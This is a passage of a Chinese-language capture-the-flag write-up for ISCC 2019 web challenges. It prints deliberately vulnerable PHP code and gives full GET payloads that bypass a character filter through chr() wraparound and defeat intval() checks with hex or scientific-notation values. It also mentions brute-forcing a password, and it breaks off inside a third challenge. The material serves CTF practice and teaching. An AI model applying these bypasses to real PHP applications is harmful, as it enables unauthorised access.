web
1、web2
很清楚的提示,破解三位数的密码,同时也需使验证码正确,抓包进行爆破得到flag:
2、web1
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';
for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);
审计代码,
1、需要绕过$value[$i] > 32 && $value[$i] < 127的判断
2、需要满足$username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333
chr()会自动进行mod256,所以chr(321)=A,because A=65(256),第一个判断我们可以绕过,第二个可以用十六进制或科学计数法绕过
十六进制绕过payload:?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=0x2332
十六进制方法在我本机测试的时候通不过,可能是php版本的问题,推荐使用科学计数法绕过。
科学计数法绕过:?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=22.2e3
intval(22.2e3)=22,intval(22.2e3+1)=22201
拿到flag:
3、web4
<?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($pa